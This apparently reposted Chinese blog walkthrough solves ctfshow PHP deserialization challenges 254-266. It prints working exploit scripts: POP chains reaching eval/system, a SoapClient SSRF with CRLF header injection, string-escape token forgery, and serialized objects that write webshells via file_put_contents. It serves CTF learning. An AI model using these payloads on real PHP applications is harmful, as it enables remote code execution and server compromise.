ctfshow-web入门-254-266-反序列化

web254

代码审计,输入给的username和password 

?username=xxxxxx&password=xxxxxx

web255

这题要从cookie中获取值并且需要把isVip设为true,并且将序列化之后的结果进行url编码

<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true;//这里要改成truepublic function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$c = new ctfShowUser();
echo serialize($c);
echo "\n".urlencode(serialize($c));?>

ctfshow的web入门->反序列化_ctfshow java反序列化-CSDN博客

web256

这题要求$this->username!==$this->password, 让username和password不相等

<?php
class ctfShowUser{public $username='xx';public $password='xxxxxx';public $isVip=true;
}
echo(urlencode(serialize(new ctfShowUser())));
?>

GET :?username=xx&password=xxxxxx

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A2%3A%22xx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

 [NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客

先看这篇文章,然后构造pop链

ctfshow 反序列化1_ctf&this-CSDN博客

大致浏览下代码会发现我们可以利用的函数eval,要想调用eval就得使用backDoor类中的getinfo。
然后在ctfShowUser类的__destruct中发现了$this->class->getInfo();,那么我们只需要让$this->class是backDoor类的实例化就可以了。
反序列化时,首先调用__destruct,接着调用$this->class->getInfo();也就是backDoor->getinfo(),最后触发eval。

<?php
class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=true;  //改为trueprivate $class = 'info';public function __construct(){$this->class=new backDoor();  //  初始化 $class 属性为 backDoor 类的对象}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();  // (2)backDoor}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code="system('tac flag.php');";public function getInfo(){eval($this->code);  //  (1)system}
}$c = new ctfShowUser();
echo urlencode(serialize($c));

 

ctfshow-web入门-反序列化(web254-web258)_ctfshow web258-CSDN博客

php反序列化 && 触发的魔术方法&& 原理 &&pop链构造 && ctfshow 练习_php pop 魔术方法-CSDN博客

web258

比上一题多了正则过滤,user不能是 o:<数字>: 或 c:<数字>:的形式

用 +数字 替代 数字

 ctfshow 反序列化1_global $flag;-CSDN博客

<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true;   //改为truepublic $class = 'info';public function __construct(){$this->class=new backDoor();   //  初始化 $class 属性为 backDoor 类的对象}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code = "system('tac flag.php');";public function getInfo(){eval($this->code);}
}$a = serialize(new ctfShowUser());
$b = str_replace(':11', ':+11', $a);
$c = str_replace(':8', ':+8', $b);echo urlencode($c);?>

 

web259

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
<?php
$a = new SoapClient(null,array('user_agent' => "aaa\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",'uri' => 'aaa','location' => 'http://127.0.0.1/flag.php'));
echo urlencode(serialize($a));

我的运行有问题

ctfshow web入门 php反序列化 web254--web259_ctfshow web254-web258-CSDN博客

接着getvip=xxx就可以了,最后访问/flag.tx

web260

要求序列化后的字符串中包含ctfshow_i_love_36D 

PHP 序列化字符串的格式为:

  • 数组a:<元素数量>:{<键值对>}
  • 字符串s:<长度>:<内容>
  • 整数i:<值>
  • 布尔值b:<0或1>

payload:直接传入字符串

?ctfshow=ctfshow_i_love_36D

数组 

?ctfshow[]=ctfshow_i_love_36D

web261

同时存在 __unserialize() 和 __wakeup()函数时,在 php 7.4 以上版本反序列化时会忽略__wakeup() 函数,因此这里实际并不需要用户名和密码为空

开始找到eval函数,但没有条件触发 __invoke

所以关键就是file_put_contents,username和password拼接成的$this->code弱等于0x36d

所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)

<?php
class ctfshowvip
{public $username;public $password;public $code;public function __construct($u, $p){$this->username = $u;$this->password = $p;}
}
$c = new ctfshowvip('877.php',"<?php system('tac /f*');?>");
echo serialize($c);

?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:26:"<?php system('tac /f*');?>";s:4:"code";N;}

先/?vip=序列化内容 ,然后访问877.php 

ctfshow 反序列化1_$this->username===$u&&$this->password===$p-CSDN博客

ctfshow-web入门-反序列化(web260-web264)-CSDN博客

web262

没有和flag相关的信息,访问message.php 

要满足 $msg->token=='admin' 

<?php
class message{public $token='admin';
}
$m = new message();
echo base64_encode(serialize($m));
?>

 

  这是一个非预期解,然后我们看一下预期解,字符串逃逸

<?php
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}function filter($msg)
{return str_replace('fuck', 'loveU', $msg);
}//";s:5:"token";s:4:"admin";}有27个字符,
//将 fuck 替换为 loveU 会增加一个字符,所以也构造27个fuck
$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$msg_1 = serialize($msg);
$msg_2 = filter($msg_1);echo $msg_2;

 所以payload: 

?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

接着访问message.php

ctfshow 反序列化1_$this->username===$u&&$this->password===$p-CSDN博客

ctfshow-web入门-反序列化(web260-web264)-CSDN博客

web263

PHP的session反序列化

目录扫描

 发现www.zip文件,访问打开

index.php写入cookie

check.php调用cookie 

inc.php存在写文件函数,将username写为php文件名,password为一句话

因 inc/inc.php 存在 ini_set(‘session.serialize_handler’, ‘php’); 和 session_start(); ,只要访问即会获取之前写入的 session 数据,然后 check.php 包含 inc/inc.php ,即会触发 User类 的 __destruct方法 ,从而把恶意数据通过 file_put_contents 写入名为 log-$this.username ,内容为 $this.password 的文件

<?php
class User{public $username = 'test.php';public $password = '<?php system("cat flag.php") ?>';
}
$user = new User();
echo(base64_encode('|'.serialize($user)));
?>

加 '|' 是因为 session.serialize_handler 使用 php引擎 ,session 关联数组的 key 和 value 是通过 '|' 区分的, value 是需要被反序列化的部分。然后默认不是用 php 引擎,所以写入是正常字符串,在 inc/inc.php 这读取语义又不一样了

首先修改cookie为生成的 base64 编码序列化字符串,

然后后访问index.php,接着访问check.php,即可生成木马文件,最后访问 log-$this.username 即log-test.php

CTFSHOW 反序列化篇_ctf中server-CSDN博客

CTFshow刷题日记-WEB-反序列化篇(上,254-263)_ctfshow web257-CSDN博客

web264

访问message.php

可以看到和web262不一样了这里是session 

然后payload同262

?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

访问message.php其实是没拿到flag的,因为要求要提交一个cookie ,我们随便传一个cookie上去

就能得到flag

web265

<?php
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;}
}$a = new ctfshowAdmin(1,2);
$a->token = &$a->password;
echo serialize($a);

&内存共享$a->token 和 $a->password 指向同一块内存空间。无论通过哪个属性修改值,本质都是修改同一块内存,因此两者始终 “同步变化”。 

?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";i:2;s:8:"password";R:2;}

ctfshow-web入门-反序列化(web265-web270)_ctfshow web267-CSDN博客

web266

__destruct() 在对象被销毁时会自动调用,我们只需要让 ctfshow 类正确被反序列化即可,但是直接传 ctfshow 会被检测,之后就会抛出异常,如果程序报错或者抛出异常就不会触发 __destruct() 了 

当我们的序列化字符串中有ctfshow就会抛出异常,这样就没办法调用__destrcut了

所以我们大小写绕过,生成的字符串里面的ctfshow改成大写的。

<?php
class ctfshow{public $username='xxxxxx';public $password='xxxxxx';public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function login(){return $this->username===$this->password;}public function __toString(){return $this->username;}
}$a = new ctfshow(1,2);
echo serialize($a);

 

序列化里的内容不重要

ctfshow-web入门-反序列化(web265-web270)_ctfshow web267-CSDN博客

ctfshow 反序列化2_ctf yii 漏洞-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/917491.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/917491.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ssh服务器端口和本地端口映射

由于服务器防火墙设置&#xff0c;本地能ssh登录远程服务器&#xff0c;但本地不能通过http的方式访问服务&#xff0c;如tensorborad、gradle或其他服务。在不需要修改防火墙安全设置的情况下&#xff0c;这里我们临时通过ssh端口映射的方式&#xff0c;在本地浏览器访问这些服…

计算机网络——UDP

1. UDP的背景 1&#xff09;先有TCP&#xff0c;后觉笨重 在TCP被首次提出后&#xff0c;将“可靠传输&#xff0c;流量控制&#xff0c;拥塞控制”全做在一个协议里随着应用增多 ——> 很多场景&#xff08;语音&#xff0c;视频&#xff09;并不需要万无一失 ——> 更…

常见的深度学习模块/操作中的维度约定(系统性总结)

&#x1f7e9; 1. 数据张量&#xff08;特征图&#xff09;维度这是我们喂进网络或从网络中出来的“实际数据”。类型维度格式举例说明图像/特征图(B, C, H, W)(4, 3, 32, 32)PyTorch中最常用的数据布局&#xff08;NCHW&#xff09;图像/特征图&#xff08;TensorFlow风格&…

【笔记】重学单片机(51)(上)

为学习嵌入式做准备&#xff0c;重新拿起51单片机学习。此贴为学习笔记&#xff0c;仅记录易忘点&#xff0c;实用理论基础&#xff0c;并不是0基础。 资料参考&#xff1a;清翔零基础教你学51单片机 51单片机学习笔记1. C语言中的易忘点1.1 数据类型1.2 位运算符1.3 常用控制语…

Arrays.asList() add方法报错java.lang.UnsupportedOperationException

1. 问题说明 记录一下遇到的这个bug&#xff0c;下面是段个简化后的问题重现代码。 public class Test {public static void main(String[] args) {List<Integer> list Arrays.asList(1, 2, 3);list.add(4);} }2. 原因分析 我们看一下Arrays.asList(…) 的源码&#xff…

克罗均线策略思路

一个基于移动平均线的交易策略&#xff0c;主要通过比较不同周期的移动平均线来生成买卖信号。该策略交易逻辑思路和特点&#xff1a;交易逻辑思路1. 多头交易逻辑&#xff1a;- 当当前周期的收盘价高于其4周期移动平均线&#xff0c;并且4周期移动平均线高于9周期移动平均线&a…

Go语言--语法基础7--函数定义与调用--自定义函数

函数是基本的代码块&#xff0c;用于执行一个任务。Go 语言最少有 1 个 main() 函数。你可以通过函数来划分不同功能&#xff0c;逻辑上每个函数执行的是指定的任务。函数声明告诉了编译器函数的名称、返回类型和参数。函数三要素名称 》功能参数 》接口返回值 》结果函数分类内…

Ollama模型库模型下载慢完美解决(全平台)

前言在我们从ollama下载模型时,会发现ollama最开始下载速度很快,能达到10-20MB/s但到了后期,速度就会越来越慢,最终降低到10-20kb/s下载一个模型大多需要1到1.5小时这是因为ollama服务器负荷过大的问题思路如果在下载中终断下载,在用ollama run恢复下载,速度就会又提上去,但3-4…

web:js的模块导出/导入

一般web页面中&#xff0c;html文件通过标签script引用js文件。但是js文件之间的引用要通过import/exprot进行导入/导出&#xff0c;同时还要在html文件中对js文件的引用使用type属性标注。在下面的例子中&#xff0c;html页面<!DOCTYPE html> <html lang"en&quo…

关于Web前端安全防御之安全头配置

一、核心安全头的作用 1. X-Content-Type-Options: nosniff 该响应头用于阻止浏览器对资源的 MIME 类型进行 “嗅探”&#xff08;猜测&#xff09;&#xff0c;强制浏览器严格遵守服务器返回的 Content-Type 头部声明。 风险背景&#xff1a; 浏览器默认会对未明确声明类型…

C++ : 反向迭代器的模拟实现

一、reverse_iterator.h#pragma once namespace txf { //外界传什么类型的iteator&#xff0c;它就用什么iterator 初始化 , list用_list_iterator<T,T&,,T*> ,vector<T> 用T*template<class Iterator,class Ref,class Ptr>//在这个反向迭代器中涉及到…

自动化与配置管理工具 ——SaltStack

一、SaltStack 概述1.1 核心特性SaltStack 是一款开源的自动化运维工具&#xff0c;采用客户端 - 服务器&#xff08;C/S&#xff09;架构&#xff0c;以高效、灵活和可扩展著称。其核心特性包括&#xff1a;高性能架构&#xff1a;基于 ZeroMQ 消息队列&#xff0c;支持大规模…

Rust → WebAssembly 的性能剖析全指南

一、用优化&#xff08;Release&#xff09;构建 ⚡ 务必在做性能测量前使用 优化模式 构建你的 WASM。默认情况下&#xff1a; wasm-pack build → Release 优化wasm-pack build --dev 或 cargo build → Debug&#xff0c;性能大打折扣 优化编译能开启 LLVM 的各项优化和 LT…

第15届蓝桥杯Pthon青少组_国赛_中/高级组_2024年9月7日真题

更多内容请查看网站&#xff1a;【试卷中心 -----> 蓝桥杯----> Python----> 国赛】 网站链接 青少年软件编程历年真题模拟题实时更新 第15届蓝桥杯Pthon青少组_国赛_中/高级组_2024年9月7日真题 一、单选题 第 1 题 单选题 下列运算符中&#xff0c;表示并集的…

【Django】-9- 单元测试和集成测试(上)

一、Django 项目单元 & 集成测试准备 &#x1f447;依赖安装&#xff08;给项目装 “测试小帮手”&#x1f37c;&#xff09;pdm add -d black isort flake8 pytest pytest-django pytest-coverage &#x1f449; 这行命令像在给项目 “采购” 测试工具&#xff1a;black …

VUE-第二季-01

目录 1.Vue程序初体验 1.1 下载并安装vue.js 1.2 第一个Vue程序 1.3 Vue的data配置项 1.4 Vue的template配置项 1.5 Vue实例 和 容器 的关系是&#xff1a;一夫一妻制 2.Vue核心技术 2.0 Vue的模板语法 2.0.1 插值语法 插值语法总结&#xff1a; 2.0.2 指令语法 指…

Android 15 中禁用/启用应用的系统级方法

在 Android 15 的开发中,有时我们需要以系统级权限来控制应用的启用状态。本文将介绍如何使用 PackageManager 来实现应用的禁用和启用功能。 核心方法 在 Android 15 代码中,可以使用以下方法来禁用或启用应用: packageManager.setApplicationEnabledSetting(pkg,Packag…

2025网络工程师技能图谱(附思维导图)

------------比较全面&#xff0c;供学习参考路线图。-----------------------

【ROS2】rclcpp::Node 常用 API

ROS 系列学习教程(总目录) ROS2 系列学习教程(总目录) 目录1. 构造函数2. 节点名称相关3. 获取log对象句柄4. 回调组相关5. Topic发布与订阅6. Service服务端与客户端1. 构造函数 public:Node(const std::string & node_name, const NodeOptions & options NodeOptio…

自动驾驶:技术、应用与未来展望——从开创到全面革新交通出行

一、引言1.1 研究背景与意义在过去的几十年里&#xff0c;随着科技的飞速发展&#xff0c;自动驾驶技术逐渐从科幻小说中的概念走进了现实生活。从最初简单的辅助驾驶功能&#xff0c;到如今高度自动化的自动驾驶系统&#xff0c;这一领域的进步正深刻地改变着我们的出行方式和…